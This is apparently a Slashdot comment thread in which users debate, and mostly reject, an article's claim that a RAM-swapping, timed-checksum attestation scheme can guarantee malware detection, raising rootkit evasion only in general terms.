I do believe this is where the external verifier comes in. If it sees the process finish too quickly or too slowly, it knows something is amiss.

Re:One big mistake - stegonography

[dskoll]

Allocate locked pages?

Sure, but legitimate programs might do that too, so the scheme would have to have a way to cope with this.

Touch the pages immediately after they get paged out to force them back into memory?

But the malware would have to be running to do that. If there's a kernel process paging everything out, the malware won't get a chance to run (at least... it should not be given a chance to run for the scheme to make any sense.)

Remove the article from slashdot

[cfoushee]

I read practically every response here on Slashdot as well as the ones posted by everyone on the article itself. Everyone knows the article is crap, and shoots so many holes in that its not even worthy to be listed here on Slashdot. I'm not one to make direct personal attacks and like to give people the benefit of the doubt but whoever posted this article should have known this article is without technical merit, or they were just asleep at the helm. Either way they should apologize and remove the article from rotation.

Re:There is something that can answer your questio

[spun]

In response to your post below, acknowledged that the time concern is valid, but that is not what you presented in the post above, is it? You obviously read the article in between the post above and the one below.

However, the article DOES address your other concern, which is why I questioned whether you read it. We know how much RAM we have, right? Assume we have a rootkit. We ask the OS to overwrite ALL RAM execpt the scanner. The rootkit can either let itself be overwritten, or it can write those random bits to secondary storage, and read them back in when computing the checksum. But that would take quite a bit more time, which is what the external verifier is looking for.

Get overwritten. Store the random bits to secondary storage and read them back in, which takes time. Those are the only two options for computing a valid checksum here, right?

Two word response

[idontgno]

Spherical Cow

As far as I can tell, the technique requires that you postulate the existence of some element of the system which operates completely outside of system memory and OS image space, with complete incorruptibility and inviolability, and with complete authority to examine the entire contents of the system at any time necessary.

Terrific. The closest we have ever come to that is native-processor hypervisors, and they can be escaped using current malware techniques; or external security chips.

The former is already busted. And the latter? If industry trends can be trusted, such technology will not be primarily used to protect users against malware, but to protect content providers from users.

Re:There is something that can answer your questio

[fusiongyro]

From the article:

Assume now that we have a detection algorithm that runs in kernel mode...

Reading through the kernel and reading in kernel mode aren't the same thing.

Re:There is something that can answer your questio

[Anonymous Coward]

Unfortunately this system relies on an 'external verifier' to verify the amount of RAM and processor speed. What this probably really means is that the person running the detection utility must double check that the values provided by the utility match the numbers in BIOS. This method of an 'external verifier' is extremely prone to being faulty. Beyond that, god forbid the malware got into the BIOS, what do you do then? Maybe we have read the article but we don't take on faith that it is the word of a 'god'.

In another news

[oxygen_deprived]

a dummy with slashdot id of oxygen_deprived claims that he can guarantee breaking 256 bit AES in 3 seconds given the following
a. A piece of known plaintext
b. A piece of cipher text corresponding to the known plaintext
c. An external encryptocomparer (yeah , I made that up, also, patent pending in some country ) that can generate , compute and compare 2^256 keys per second

Redeeculous idea.

[Ancient_Hacker]

I tried reading TFA a few times. First time, utter confusion. Second, third times, no better. I can't make any sense out of these points:

>1) There are absolutely only three things malware can do when you scan for it. One: be active in RAM, maybe trying to interfere with the detection algorithm. Two: not be active in RAM, but store itself in secondary storage. It cannot interfere with the detection algorithm then, quite obviously. And option number three: erase itself.

Absolutely, not. There are many other things malware could be doing. Inactive in RAM, compressed and inactive in RAM, encoded as plausible-looking entries in the File Name Table or the Virtual Memory map.

>2) Any program -- good or bad -- that wants to be active in RAM has no choice but to take up some space in RAM. At least one byte, right?

No, it could be sleeping, existing only as an entry in the swapped-out process table. Or in unused space below a thread stack.

>Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself.

Whoah there fella. Everything? Are you going to turn off all timers and interrupt enables so their service routines don't get called?
Hard to do without mucking up all the device drivers. Are you going to swap out the kernel too, as malware is quite capable of infesting kernel space. And what about device drivers? They're constantly mucking with their internal tables and I/O buffers.
And if you turn off all device drivers, you lose, as there's nothing stopping malware from masquerading as a device driver. Many do.

>>But if we know how big RAM is, we know how much space should be free.

Whoa there again, big guy. There are plenty of machines with RAM at places not generally known to the OS, such as video RAM, graphics polygon RAM, network card RAM buffers, and kernel stacks.

>> Assume we write pseudo-random bits over all this supposedly free space. Again, a malware agent could refuse to be overwritten.

You don't need a checksum test to do this-- each page of virtual memory has R/W control bits.
And you're foiled here again, as there are plenty of system areas that are write-protected, such as pre code areas and the VM tables themselves.

>>Then, let us compute a keyed hash of the entire memory contents -- both our detection program and all the random bits. Here is what could happen: If there is no malware in RAM, the results will be the expected result. An external verifier checks this, and tells us that the scanned device is clean.

Nooo, that just tells you that either you overwrote the malware, so you'll never find it, or the malware during your two sweeps did not change any RAM contents. Quite possible as most malware just sits around most of the time.

>> Or there could be malware in RAM, and the checksum will be wrong.

Well, no, unless you disabled all interrupts and stopped all kernel tasks, there will still be system timers and interrupts and device drivers changing their state in RAM.

>> The external verifier would notice and conclude that the device must be infected.

Or some part of the system or some device driver is still running. Huge chance of false positives.

This essay seems to have been written by someone with only a glancing familiarity with hardware and system software.

Re:Redeeculous idea.

[HyperQuantum]

>Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself.

Whoah there fella. Everything? Are you going to turn off all timers and interrupt enables so their service routines don't get called? Hard to do without mucking up all the device drivers.

So what's different if the computer needs to hibernate? Isn't that the same principle? (yes, this is a serious question here)

Re:Redeeculous idea.

[Ancient_Hacker]

>So what's different if the computer needs to hibernate?

Good point, if the OS has a hibernate capability, it must have all the right hooks to tell every driver and every piece of hardware to stop generating interrupts and somehow save their state.

But that's no help to this virus detector-- malware that hides as a device driver can pretend to hibernate too.

The basic flaw is the assumption that the detector can know what belongs in RAM, and that everything else is malware. Neither assumption is even remotely accurate to begin with, and both are circumventable in the next malware release.

Re:There is something that can answer your questio

[spun]

Your questions indicate that, although you may have read the article, you didn't understand it. I'm not saying this technique will work. I'm just looking for some decent criticism of the actual technique, but no one seems to have taken the time to understand it.

Prevention is the only guarantee

[Space Guerilla]

Personally I think prevention is the best solution. You'll never get Malware, if you never connect to the internet and never install anything.

Interesting point

[TiggertheMad]

As good as this technique may or may not be, it's not security. It's damage control

If damage control occurs in real time with 100% accuracy, do you care about prevention?

Re:Interesting point

[Runaway1956]

Back to my Navy analogy:

FUCK YES I CARE ABOUT PREVENTION!!!

I was damage control. During any sort of incident, battle, or whatever, I want to SIT ON MY ASS WITH NOTHING TO DO!!! Damage control means exactly that: you have taken damage, there are casualties, and worst of all, the poor damage control teams are going all slippy slidey across the decks after they slip in the blood and gore.

An ounce of prevention is worth about a million tons of cure.

Re:Interesting point

[amRadioHed]

I have a hard time believing a technique that starts with "swap out everything in RAM" could ever be used for real-time detection.

Re:Interesting point

[Fred_A]

Damage control means exactly that: you have taken damage, there are casualties, and worst of all, the poor damage control teams are going all slippy slidey across the decks after they slip in the blood and gore.

Quite similar to a server room or a NOC during a crisis I see.

Kind of interesting, but...

[Chris Mattern]

Four major problems:

One: The malware can simply let itself be swapped out like a good little program, and be swapped back in when the detector is done. Now the only way you'll find it is look for a malware pattern again, with all the limitations that implies.

Two: The malware can infect the system routines so that the system *lies* to the detector about what's in RAM.

Three: The system has to be brought to a complete halt to do this, with obvious repercussions to performance.

Four: Most operating systems have parts of the kernel that CANNOT be swapped out. So you can't swap out everything but the detector anyways.

Re:Kind of interesting, but...

[Space Guerilla]

Four: Most operating systems have parts of the kernel that CANNOT be swapped out. So you can't swap out everything but the detector anyways.

Unless... you were scanning from a boot CD.

Re:There is something that can answer your questio

[clone53421]

We know how much RAM we have, right? Assume we have a rootkit.

Read those two statements again. If the second is true, the first may not be.

If the malware is in RAM

[Anonymous Coward]

You have already lost. Maybe you'll be able to detect it, assuming the malware chooses to allow you to look for things before it does bad stuff. Maybe. But the point of the malware is do to bad stuff when it runs. Detecting running malware is like Missile Command telling you "Game Over" after your cities are destroyed by nukes. Writing programs to detect that you have lost, is a solution to the wrong problem. The only problem that really matters, is "how do you prevent malware from being run?" How do you not lose?

Re:There is something that can answer your questio

[Anonymous Coward]

Since you understand it so well, and I obviously do not, then it would be a simple matter to explain it to me. How is the 'external verifier' not the magic black box that is supposed to make this thing really work? How would this utility detect BIOS malware? How could this utility verify other system devices like the GPU and network peripherals aren't hiding malware? Me thinks you are a shill and too self absorbed to directly address the questions.

Re:There is something that can answer your questio

[spun]

Read the article. If we have a rootkit, it has two choices. Let itself get swapped out, in which case it can not cover its tracks. Or write the pattern that is to be checksummed to secondary storage, in which case the verifier will notice the time lag. The rootkit could be lying about the total amount of RAM, sure, but that won't help if we have started from a known clean machine.

The author claims this technique will work on already infected machines, but I don't see how that is possible. If starting from a known clean machine, though, this technique seems pretty foolproof.

Rootkit detection

[Talennor]

One of the problems of computer security is that it's hard to be sure the level at which you're operating is secure. Your app may think it's secure, but the OS can view its memory. The OS may think it's secure, but it might be virtualized or running on a rootkit or boot sector virus. You might have a malicious BIOS update. It's almost impossible to verify from any level if the level below you is infected or not.

This is a neat, though probably impractical, way of trying to understand what the lower levels of the system are doing and judge the trustworthiness of those levels.

Re:There is something that can answer your questio

[spun]

The external verifier just looks at time. If it takes too long, then there must be malware swapping out the random bits. Basically, either malware let's itself get swapped out, in which case it can not hide its memory footprint, or it can try to hide, in which case the time lag will give it away.

I'm not a shill, I've acknowledged valid criticisms in other places, the time it all takes, for instance. I just hate it when idiots refuse to read or understand the article and criticize their own imaginary straw men. It adds nothing of value to the discussion and wastes everyone's time.

This detects "hidden things", not malware

[InvisiBill]

I read the article. I understand what he's proposing. However, the method is simply a way of finding things that are hiding in memory. By swapping out the hider-app, you disable its ability to hide. Your RAM + random bits hash will then expose things that were messing with RAM.

This doesn't detect malware itself, it simply allows you to determine if something is altering RAM to hide itself, which most likely would turn out to be malware. If you're simply taking a hash of the whole RAM space, I'm not even sure you'd be able to find out where the problematic bits were located (which would point to the swapped-out culprit).

While it would be nice to know if something is covertly tinkering with your memory, this test alone won't find the actual malware. It also relies on a lot of things, like the external verifier and that the scanner itself is not compromised. It's a nice theory, but I'm not sure how much practical value it has.

I can do better - guarantee no malware ever!

[Anonymous Coward]

It's really very simple. A machine with no writable storage and no network connection.

The problem, that also exists for the proposed detection solution, is that the result isn't necessarily very useful in a real world scenario. So, he detects malware swapping itself out by noticing a delay? What about false positives? Heavy system load -> your machine must be infected. Real time software (scada, dcs etc) -> your machine must be infected. And then what? You've been told that your machine is infected, and that somewhere in the 4GB of RAM is a piece of malware. What do you do? Waste a day hunting for the non-existent Wolf? And then what, after you've found nothing? Put the machine back online with a Hope and a Prayer? Leave it offline and useless? People will simply learn to ignore these alerts, and the whole solution becomes useless.

At least with the cat and mouse game that we have now (AV and anti-spyware software) when they flag something it becomes actionable. Even false positives are actionable because you're looking for the specific piece of malware that flagged. People get to tell their boss either "Yes, I found and disinfected Foo..." or "It was a false positive that appeared to be Foo but wasn't", either of which generally reassures their bosses that their employees know what they are doing. The answer "I don't know what it was, it might or might not be an infection, I'll never know for sure... and btw, do you want to turn that control system back on?" tends to lead to unhappy bosses.

Besides which, I'm not sure it's even technically possible. How long would it take to hash the entire memory? Can it even be done without writing to memory?

Ok, garantee this...

[hAckz0r]

How do you guarantee there is no malware installed in your non-ram mapped hardware devices? Such as your standard GPU's, and whole assortment of adaptor cards?

How do you guarantee that the OS that you THINK you are running on is not just a virtual machine running in hardware supported virtual space? Any attempt to scribble or read bits over/across either of these is only doomed to failure because you can never be absolutely sure what exactly you are writing too. Is it physical memory or is it actually being written to cache in a VM disk somewhere? Even using the on-board 'hardware' clock could be hacked/virtualized so your hope of using latency issues as mentioned don't work either. Go Google for 'blue pill rootkit' if you think its that easy.

In short, there are some forms of malware that can control the very infrastructure that you depend on to judge whether you are infected, so they therefore by extension control your own perception of the results of those tests. Writing to 'all' the memory that you think you see doesn't accomplish much if you are not seeing all of it in the first place.

Until...

[ChaosCon]

I'm finding more and more that whenever I hear things like 'Any program — good or bad — that wants to be active in RAM has no choice but to take up some space in RAM. At least one byte.' I immediately think "yeah, until they change/patch/fix/rewrite/figure a way around that."

Re:There is something that can answer your questio

[Anonymous Coward]

I suggest you re-read the article. The 'external verifier' needs to verify that the reported amount of RAM is the actual amount of RAM available on the system, and that the reported clock speed is the actual clock speed of the system. This either requires human intervention or some very specialized hardware. As for my other questions, you left them unanswered. People are rightfully very skeptical of this article because it makes a ridiculous absolute statement.

Snake oil

[dskoll]

This looks like snake oil. On desktop machines, it's quite impractical to swap everything out and then do a scan. And how do you distinguish between malware and non-malware? All programs take up space, whether they're malware or not.

This may work for completely-constrained embedded devices that have rigid controls over what gets installed. But then again, how likely are such devices to be malware vectors?

Re:There is something that can answer your questio

[clone53421]

Let itself get swapped out, in which case it can not cover its tracks.

If it isn’t in your virus signature database yet, it doesn’t need to cover its tracks. You won’t detect it even if you scan it.

Or write the pattern that is to be checksummed to secondary storage, in which case the verifier will notice the time lag.

A rootkit could just as easily detect you and take action to thwart your scan, such as:

* overwrite your checksums right before you compare them, making it seem that the scan was clean;

* give false timings when your scanner checks, hiding the amount of extra time it took to access the secondary storage;

* insert strategic delays when accessing the normal memory, to hide the extra time it will take to access the secondary storage when the virus gets scanned;

* last but not least, it could simply kill your scanner altogether and replace it with a dummy function that does nothing but report that the scan succeeded.

The rootkit could be lying about the total amount of RAM, sure, but that won't help if we have started from a known clean machine.

You don’t need to scan the RAM of a known clean machine.

The author claims this technique will work on already infected machines, but I don't see how that is possible.

It isn’t.

What if the malware simply swaps out?

[JSBiff]

One of the things that occurred to me is, if you are 'swapping out everything but the scanner and the kernel', unless the malware for some reason prevents you from swapping it out, too, (I guess the theory is that if the malware is running in kernel space, it won't get swapped out, while everything else will), then you won't detect it, because it'll just 'unload' when you swap everything out, then when you swap everything else back into RAM, it'll get swapped right back in, right?

Now, in the case of a kernel-module type of malware, what's to keep it from 'looking' like a legitimate kernel module/driver? In most modern OSes, code is loaded into the kernel at runtime for all sorts of device drivers, operating system extensions (like virus scanners), etc. How does this 'universal malware detector' know that one kernel module is 'legiimate', while another is not, when it doesn't have a 'rule' to identify that module as a 'known bad' module?

Re:There is something that can answer your questio

[ircmaxell]

Well, that's not necessarily true. The root kit could copy the ram to CPU cache eliminating the need to "swap" itself or the newly written data to disk. Or it could do the converse (When the kernel tries to write to the malware's ram segment, write that part to cache instead). That would eliminate the big time delay needed to swap. Besides, a modern drive with write through cache should be trivially slower than Ram for that part of swapped data anyway (assuming that nothing significant was written to disk after that swap). So even if it did swap that random memory segment (which it could do asynchronously on write, so you couldn't detect the write), when it went to read it the disk would find that most recent piece of data in the drives cache, and return it. Sure, there would be a delay to that (it's much slower than ram)... But you're forgetting two things. Since this whole process takes a non-trivial amount of time (Even just reading from memory would take between 1/3 of a second and 3/4 of a second (depending on the ram type used) at full bandwidth, without doing anything with the data), the extra 1 or 2 ms needed for the drive to return the value from cache would be barely noticeable (The
And that's based on the assumption that this "black box" external monitor is not influencable by the kernel (meaning it's a dedicated piece of hardware, or on an external machine). If the external process is running on the computer being scanned, it becomes even easier to fool the system...

My whole point with my OP, is that claiming a "Guarantee" is foolish at best. It's only a marketing claim. Any engineer worth their pay wouldn't dare make such a claim, because ANYTHING can be worked around. It only matters how important it is to the bad guys. The only truly secure computer, is one that was never built in the first place. You can make a computer more secure, but someone with enough resources and determination will do what they want with it. All "security" does, is try to make it hard enough to deter all but the most motivated... And if you think ANY security measure is 100% fool proof, you should find another line of work...

Obligatory Post

[hduff]

1. Install Windows. 2. Connect to the Internet. 3. Blink. 4. Malware detected!

Anonymous Coward

[Anonymous Coward]

The guy is wrong becuase his principal assumption is wrong.

Principal assumption: Malware must take up at least one byte of RAM.

Refutation: Malware hidden in the firmware (ROM) does not need any dedicated bytes of RAM.

I know. I've done it...

Detection is still useful. . .

[JSBiff]

If I don't even know I'm infected, how can I remove the malware? If I know that I've been rooted, worst case scenario, I format my hard drive and do a clean install of the OS, apps, and data. Yes, it's better to prevent the infection in the first place, but knowing you *are* infected at least can help you to take actions to do something about the situation. In truth, if an infection can be detected, it can *usually* be removed without requiring a format, so detection is the first step in cleaning up a problem.

Why?

[JSBiff]

"Unless... you were scanning from a boot CD."

If you were scanning from a boot CD, the malware would have never loaded into RAM in the first place (unless the boot cd is itself infected, at which point the GP's points apply again), so why would you try to scan ram for malware if you loaded from a boot CD? That really makes no sense.

It *would* make sense to use a boot CD to then scan your hard drive for malware which are installed on disk but which are dormant because you didn't boot from the HD, but that is NOT what the original article is talking about.

I am dumb and need ad revenue

[Anonymous Coward]

This writer is yet another brillant idiot who has found a great way of generating ad revenue. Spewing crap out of his head and putting it on the internet claiming he has the knowledge to solve problems he clearly knows nothing about. These people make me sick. We need a web site about morons like these guys. He must have worked at best buy before becoming a journalist.

It's not general purpose. It's for dumb mobiles.

[Animats]

Here's the real paper. This gives a better idea of what they have in mind.

They're proposing this for mobile phones, not general-purpose computers. Specifically, they're thinking of phones where the software is entirely determined by the mobile carrier. So the carrier's server knows exactly what's supposed to be in the phone's memory. The problem is then to determine if, in fact, the contents of memory in the phone match the image back at the server, even if the phone has been corrupted.

That's a solveable problem, and their rather complex solution might actually work for that. The "reliable external checking agent" is at the carrier's server farm, not within the phone. The key idea is that while malware might try to fake the appropriate responses to the checking agent, it can't do so within time limits imposed by the checking agent. This is because some cryptographic tricks make the faking job computationally expensive.

In the phone environment, if the carrier detects that the phone has been compromised, they can limit what the phone can talk to, since they control the channel. Worst case, they could just de-authorize the phone, which limits it to 911 calls and customer service calls. This is the default state of an unregistered phone.

It's not clear how useful this would be for phones which can download applications. The paper punts on this issue. On page 5, item 5, they write "[The verification policy] is beyond the scope of this paper."

I could see this as being very useful in military communication systems and in embedded systems, where you know what's supposed to be in the device and want to make sure the device at the other end of a link hasn't been compromised. It's a way to check whether a locked-down environment is still locked down.

In other words, it's not going to help in the Windows world.

What an utterly useless idea.

[nuckfuts]

Even if this scheme worked as described, it useless. In the case of malware resident in RAM, it would do absolutely nothing to identify what malware is present or how got loaded into RAM.

In the case of malware resident on disk, it presents no solution at all for detection. The author evidently believes that 100% effective malware scanners exist, and that if malware is stored on disk it is "gauranteed" to be detected.

An effective anti-malware detection scheme is going to have to do a hell of a lot more than produce a one-byte boolean report.

Re:There is something that can answer your questio

[ircmaxell]

Crap... /. cut out part of my post. After "(The" should have been:

(The less than %1 percent difference from swapping a few KB of RAM would likely not be outside of the statistical error range for reading from RAM). Heck, I'd be surprised if it could reliably detect the 10ms it would take for a drive to seek and read a few KB off disk. It'd probably take several megabytes of continuously swapped data (Depending on quality of the system) or multiple segments of swapped data to detect swapping when reading multiple gigs of data from RAM. I'm not saying it's not possible to think that it swapped. I'm saying that it's MUCH harder to tell with any kind of accuracy.

Snake Oil, part 2...

[dskoll]

From the Our Solutions page:

A technique known as software-based attestation can provide an alternative defense against malware by performing infection scans periodically and detect the presence of any program that refuses to be inactivated – as well as any inactivated program that is known to be malicious.

So, it can detect malware that refuses to be inactivated which is a tiny (vanishingly-tiny?) percentage of malware, as well as inactivated software that is known to be malicious (eg, because of a known virus signature.)

So what's the advantage over signature-based virus-scanners? Well, you get to detect completely hypothetical software that (somehow) refuses to allow the kernel to swap it out (and how that is possible is never explained) at the cost of hugely-expensive computations.

Great.

How did something so assinine make the front page?

[Anonymous Coward]

Here's a simple example to show why the author of the paper is a fraud or a fool (or both):
the malware - presumably sitting in ram with admin privileges, will simply detect the scanner being loaded,
overwrite it's "is infected? Y/N" code with "is infected? N/N" code, and be done with it.

This is even glossing over all the different kinds of magic you can do with page table manipulation and exploiting the fact that a scanner cannot check all bytes in RAM at the same time. No flaky "timer delay detection" is going to fix that either, since presumably other processes will be allowed to run during the scan.

Once a machine has been compromised, you're out of luck when it comes to guarantees. Anyone who claims otherwise is either an idiot, a liar, or both.

Re:It's not general purpose. It's for dumb mobiles

[Locke2005]

where you know what's supposed to be in the device and want to make sure the device at the other end of a link hasn't been compromised. How do you know that whatever software you are using to verify the memory contents of the remote device hasn't also been compromised?

This idea...

[FirstTimeCaller]

This idea has already been invented... by Shampoo

Re:This idea...

[The MESMERIC]

maybe AShampoo?

Yes, it assures there's no malware in memory

[russotto]

OK, so we have this verifier. It swaps everything out but itself. It verifies the system, and it all comes up good.

Now what? It has to swap everything back IN. Including potential malware which made no attempt to evade the verifier. Sure, it prevented the malware from running for a time. But only at the cost of preventing anything else from running either. That's less than useful.

Re:There is something that can answer your questio

[clone53421]

in which case it can not hide its memory footprint

Suppose it does allow itself to be swapped out, and yes, it cannot hide its memory footprint.

How do you detect it, then?

Answer: conventional scanning, with a virus signature database, which is not 100% reliable and in no way “guarantees” malware detection.

What this can actually be used for

[Krahar]

The idea here is of course not able to detect all malware, even though the article claims that it is. It is designed to counter a specific technique malware can use to avoid detection: to interfere with the normal processing of a malware detector. E.g. it can intercept kernel calls and lie to the malware detector (or any other software) about what the content of memory is. This is something the malware has to be actually running at the time of the scan to do, and to be able to run it has to be in memory. So if you swap out all code except the malware scanner (including drivers and so on), and you nuke all memory except the scanner's own code, then either the malware has to allow itself to be overwritten, or it has to remain in memory by intercepting the calls that would overwrite it. The idea in the article is to use a hardware check-sum function that cannot be intercepted. At that point the malware scanner will be able to tell that the real, hardware checksum of the memory does not match the check-sum it computed on its own, so there must be a piece of software still running and lying about the content of memory. Only malware would do that, so this technique defeats the malware technique of lying to a malware scanner about what is in memory.

Unfortunately the malware can of course still intercept the entire running of the malware scanner by not actually doing any scan at all and just displaying a message to the user that the malware scanner would normally display if there is no malware. That is still a half victory, though, as then the malware has to know about all the malware detectors that are out there and will be out there, which is a huge amount of work that the malware authors may not be able to keep up with. It could also just always display a message box saying "everything was fine" or it could crash the scanner, but then the user would possibly be able to tell that the something is wrong. A more sophisticated tactic would be to scan the scanner executable (before it runs) for the instructions that trigger the hardware mechanism, and replace those by different instructions that simply report the hash as it would be if there was no malware. Maybe you could obfuscate that somehow, perhaps by having the scanner generate the instructions it runs in memory instead of having them all in the executable directly, and at that points it becomes yet another arms race where now it is the malware authors trying to detect something and it is the anti-malware people trying to hide.

Unfortunately the type of scan proposed requires a hardware check-sum mechanism, it requires the OS to be able to swap every single part of itself to disk for an extended period of time (it then won't be able to respond to interrupts) and it still is not flawless. Still, it does make life more difficult for malware authors.

Re:There is something that can answer your questio

[spun]

Did you miss the part about the external verifier? It sounds like a lot of handwaving, but done right it could detect any of the avenues of attack you've mentioned here.

Exactly: Layered Security IS "the way"

[Anonymous Coward]

"Protection from malware should function like the immune system, with many lines of defense and many avenues of detection and counter attack. Prevention will never be perfect by itself.' - by spun (1352) on Monday March 15, @11:58AM (#31483716)

Which is EXACTLY why I wrote up this guide (mostly for end-users that aren't aware of the concept you're putting out, & yes: Even the more "techie ones")!

----

HOW TO SECURE Windows 2000/XP/Server 2003, & even VISTA/Windows 7 (+ make it "fun-to-do" via CIS Tool Guidance & beyond):

http://www.tcmagazine.com/forums/index.php?s=568d95985ad83ef4add94de09f6026d3&showtopic=2662

----

It works, & is based on the concept you lay out via your quoted words above - what computer security folks the past few years have been calling "LAYERED SECURITY"...

Proofs to its efficacy?

Ok, some quoted testimonials:

----

http://www.xtremepccentral.com/forums/showthread.php?s=672ebdf47af75a0c5b0d9e7278be305f&t=28430&page=2

"I recently, months ago when you finally got this guide done, had authorization to try this on simple work station for kids. My client, who paid me an ungodly amount of money to do this, has been PROBLEM FREE FOR MONTHS! I haven't even had a follow up call which is unusual." - THRONKA, user of my guide @ XTremePcCentral

AND

"APK, thanks for such a great guide. This would, and should, be an inspiration to such security measures. Also, the pc that has "tweaks": IS STILL GOING! NO PROBLEMS!" - THRONKA, user of my guide @ XTremePcCentral

AND

http://www.xtremepccentral.com/forums/showthread.php?s=672ebdf47af75a0c5b0d9e7278be305f&t=28430&page=3

"Its 2009 - still trouble free! I was told last week by a co worker who does active directory administration, and he said I was doing overkill. I told him yes, but I just eliminated the half life in windows that you usually get. He said good point. So from 2008 till 2009. No speed decreases, its been to a lan party, moved around in a move, and it still NEVER has had the OS reinstalled besides the fact I imaged the drive over in 2008. Great stuff! My client STILL Hasn't called me back in regards to that one machine to get it locked down for the kid. I am glad it worked and I am sure her wallet is appreciated too now that it works. Speaking of which, I need to call her to see if I can get some leads. APK - I will say it again, the guide is FANTASTIC! Its made my PC experience much easier. Sandboxing was great. Getting my host file updated, setting services to system service, rather than system local. (except AVG updater, needed system local)" - THRONKA, user of my guide @ XTremePcCentral

AND

"the use of the hosts file has worked for me in many ways. for one it stops ad banners, it helps speed up your computer as well. if you need more proof i am writing to you on a 400 hertz computer and i run with ease. i do not get 200++ viruses and spy ware a month as i use to. now i am lucky if i get 1 or 2 viruses a month. if you want my opinion if you stick to what APK says in his article about securing your computer then you will be safe and should not get any viruses or spy ware, but if you do get hit with viruses and spy ware then it will your own fault.
keep up the good fight APK." - Kings Joker, user of my guide @ THE PLANET

----

(Those results are only a SMALL SAMPLING TOO, mind you - I can produce more such results, upon request, from other users & sites online)

HOWEVER - There's ONLY 1 WEAKNESS TO IT: Human beings, & they not being 'disciplined' about th

Re:There is something that can answer your questio

[clone53421]

Yes, an extra “black box” hardware device could theoretically solve all of the problems I mentioned. If you invented one, that is, and bothered to install it.

At that point, though, it’s easier to just boot from a live CD with an antivirus suite.

Poorly thought-out article

[Gaygirlie]

"Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself. Well, malware may interfere, of course, as it often does, and remain in RAM. But if we know how big RAM is, we know how much space should be free."

The author seems to assume malware only lives in areas which are not reserved. But there's different kinds of malware: some which actually run rather like normal applications, reserve memory just like any other application, and then there's the malware that lives inside memory reserved by other applications. In both cases the memory is actually allocated and will not be considered "free" by the OS. Thus, the malware would just get swapped out, ignored by the detection routine, and swapped back in.

No, this method was dead already before its arrival.

Detecting and cleaning malware is easy

[Anonymous Coward]

Wake those workstations nightly with WOL, PXE boot to linux, run checksum tests against hard disk. If infected do second PXE boot which reloads clean image from server. By morning all computers are clean.

Detection still requires a scanner

[jlbprof]

After reading the article a couple of times, it seems that this is a tool that needs to be coupled with a scanner. This is a method that determines malware is trying to disguise itself or intefere with a scanner. Therefore a simple attack method would be to be a normal program and not try to disguise itself. The only way it could be detected would be for a scanner to already have a signature for that malware program. Hence this is a tool that should be incorporated in already existing anti-malware programs and not a standalone detector. Do I understand this correctly? And if so I am underwhelmed. I need a tool that can detect zero day attacks and this does not seem to be that. Julian

Missing the point

[Zaphod-AVA]

The people critical of this process are missing some of the point. The claim of catching everything including 0 day exploits is a bit grandiose, but that doesn't mean it isn't a good idea. An approach like this will pick up malware infections because they cloak their processes. If this forces them to stop cloaking, it makes it much easier for standard malware scanning to be effective.

Re:Missing the point

[clone53421]

If this forces them to stop cloaking, it makes it much easier for standard malware scanning to be effective.

I don’t really see it doing that, though. Maybe initially, but I see ways around it.

If a virus has the ability to cloak its process, it could just as easily actively seek out and neuter your anti-virus scanner. As soon as the scanner loads itself into memory, the virus could detect and replace the entire “guaranteed” detection algorithm with NOPs and return false. Or it could simply do weird things with the system timer to prevent it from noticing delays. Or overwrite the checksums that you’re relying on to make sure that what you write to RAM is what you get back from RAM.

The only way that you can reliably scan a system is by attaching it to a known clean system and scanning the unknown system from that.

Re:There is something that can answer your questio

[spun]

The author claims his system can detect 0-days, on a pre-infected system. Can't do that with signature scanning. I think he's full of it.

Not feasible

[emmenjay]

I don't think it is feasible to swap out everything from memory. If an interrupt occurs and the handler is not in memory, Windows will blue-screen. The scanner would need certain O/S functions to perform the scan, not to mention to write/read the swapped RAM to/from disk.

Re:There is something that can answer your questio

[Sancho]

The author claims this technique will work on already infected machines, but I don't see how that is possible. If starting from a known clean machine, though, this technique seems pretty foolproof.

The author assumes that you can detect malware if it is not in memory corrupting your scan. The author then presents a way to prove that your memory is not corrupted by a virus.

The rootkit could be lying about the total amount of RAM, sure, but that won't help if we have started from a known clean machine.

The external verifier (which verifies the hash) takes care of that. If the rootkit lies about the amount of RAM to the process which writes pseudo-random data, then the checksum will fail when the external verifier computes it.

It's a game...

[Anonymous Coward]

The only way you can't lose, is by not playing.

Re:There is something that can answer your questio

[spun]

If you are going to respond, respond to what I wrote, not what you imagined I wrote. You just explained to me what I've been explaining to other people for HOURS now. See, I already GET all that.

However...

The author claims his techniques will detect 0-day exploits that were on the machine before the scanner was installed. Go ahead and explain how that would work with conventional malware detection.

THAT was the point I was just making.

Re:There is something that can answer your questio

[Sancho]

I did respond to what you wrote. You seem to have forgotten what you wrote. Nowhere in that post did you mention 0-days. If that was your point, you failed miserably in making it.

Or the cache, or they just modify the results...

[Anonymous Coward]

Or the CPU cache, actually.

Also, instead of "hiding", they could know about your program and simply alter the results after the fact. If you can modify memory, so can they. You'll detect them just fine. But then they'll change that "infection found!" to "no infection found!"

PARC? Didn't that used to be good?

[jamie(really)]

Assume now that we have a detection algorithm that runs in kernel mode, and that swaps out everything in RAM. Everything except itself.

Further assume that this detection algorithm, running in kernel mode, must be loaded into memory itself.
Then further assume that the compromised kernel on which it is running has not modified the detection algorithm. (Because noone writes kernel malware)
Then further further assume that no one will spot this really obvious flaw before publishing it.

Interesting Idea

[Anonymous Coward]

I don't see how this would work. Even if Windows would allow itself to be swapped out (which it won't) for the test, the virus would simply allow itself to be swapped out as well, and then re-load itself through whatever infected .DLL or media player codex that it was initially loaded from in the first place.

Re:Computers are Appliances

[b4dc0d3r]

You buy a toaster, it toasts. If it doesn't work, you throw it away and get a new one. You buy a TV, maybe it works maybe it stops working, maybe lightning strikes it, but if you push the channel button and it doesn't work, you get it fixed or replace it. Dishwasher stops working, you call someone and have it fixed.

Computer... I can't just click something I want to click, I have to unpack it and set it to be executable. I have to think? I don't want to think, I just want Farmville to work. If I can't match these 3 jewels together, someone is going to have to fix this for me what's this box? OK. OK, goddammit just go away! You're blocking my jewels! Fucking, OK, okay? O MUTHER FUCKING KAY, I get it. UNUUNUNNNGNGNGHGHGHGNFNG!

Customer calls tech support.

Tech: What were you doing when this happened?
Customer: I don't know, I was playing my game and some strange things just started happening.
Tech: Such as?
Customer: I was trying to play a game and these boxes came up that had nothing to do with the game. It was broken.
Tech: You broke it by installing a virus, that's what you did when you clicked OK.
